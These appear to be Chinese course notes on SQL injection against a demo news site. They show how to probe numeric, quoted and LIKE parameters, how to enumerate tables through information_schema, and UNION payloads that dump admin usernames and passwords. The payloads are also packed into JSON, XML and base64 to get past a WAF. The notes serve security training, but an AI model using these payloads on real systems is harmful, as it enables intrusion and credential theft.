判断参数类型及格式
这节课的关键是认识这些特殊的格式也是个测试点,并且知道测试的参数应该写在哪个位置可以被触发
数字,字符,搜索
符号干扰:有无单引号或双引号及通配符等
例:
select * from news where id=$id;
select * from news where name=‘$name’;
select * from news where name like ‘%name%’;
借助自带的information_schema
SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ OR content LIKE ‘%1%’ ORDER BY created_at DESC
SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ order by#OR content LIKE ‘%1%’ ORDER BY created_at DESC
SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ union select 1,2,3 #OR content LIKE ‘%1%’ ORDER BY created_at DESC
SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ union select 1,database(),3 #OR content LIKE ‘%1%’ ORDER BY created_at DESC
1%’ union select 1,2,table_name from information_schema.tables where table_schema=‘news_db’#
1%’ union select 1,2,column_name from information_schema.columns where table_schema=‘news_db’ and table_name=‘admin’#
1%’ union select 1,username,password from admin#
XML,JSON,编码,混合
json
{
"news:"[
{
"id": 1,
"title": "xiaodi",
"content": "i am xiaodi",
"created_at": "2025-03-07"
},
{
"id": 2,
"title": "xiaodisec",
"content": "i am xiaodisec",
"created_at": "2025-03-06"
}
]
}
“keyword”:“1%’ order by 3#” 正常访问
“keyword”:“1%’ order by 4#” 不正常访问
接下来就按照常规查询
在src中,碰到waf,会通过改变类型,将json格式改为xml格式
<root>
<id>0</id>
<keyword>1%' order by 3#</keyword>
</root>
具体接不接受要看对方的监控方式
// 获取 JSON 数据
$inputJSON = file_get_contents('php://input');
$input = json_decode($inputJSON, TRUE);
如果代码是这样的,必须为json提交,就绕过不了
总结:
WAF 可能监控 JSON 格式的请求,并且你尝试通过 改变数据格式(比如从
JSON
改为XML
)来绕过。如果目标服务器的代码逻辑 只能处理
JSON
,那么即使绕过了 WAF,它依然不会解析XML
数据。最终是否能绕过 WAF,要看对方的检测逻辑:
如果 WAF 仅检测 JSON,那么可能可以绕过(前提是服务器能接受其他格式)。
如果服务器严格要求 JSON,那么用 XML 提交无效,绕不过。
xml
<?xml version="1.0" encoding="UTF-8"?>
<news>
<article>
<id>1</id>
<title>xiaodi</title>
<content>i am xiaodi</content>
<created_at>2025-03-07</created_at>
</article>
<article>
<id>2</id>
<title>xiaodisec</title>
<content>i am xiaodisec</content>
<created_at>2025-03-06</created_at>
</article>
</news>
数据包
抓包后写上注入语句为
<data>
<id>0</id>
<keyword>1%' union select 1,username,password from admin#</keyword>
</data>
xml也可以更改为json,同上
json+编码
“id”:0,“keyword”:“MQ==”
如果可以通过修改
id
的值来查询用户的身份证信息,那么id
本身也需要加密以防止篡改。核心在于理解加密和查询的逻辑:通常,前端会先对
id
进行加密后再提交到服务器,服务器接收到数据后会解密,再去数据库中匹配对应的记录。
现在是知道是base64加密,
所以payload:1%’ union select 1,username,password from admin# 要加密后为
MSUnIHVuaW9uIHNlbGVjdCAxLHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gYWRtaW4j
总结:
-
由于加密是在前端完成的,解密算法通常也能在前端的JSON数据中找到,这意味着攻击者可能通过分析前端代码逆向解密过程,从而尝试获取敏感信息。
-
加密编码工具是检测不了的,所以只能人工
-
知道算法很重要,因为符合检验逻辑的payload就可以写出来了,就有了更多的选择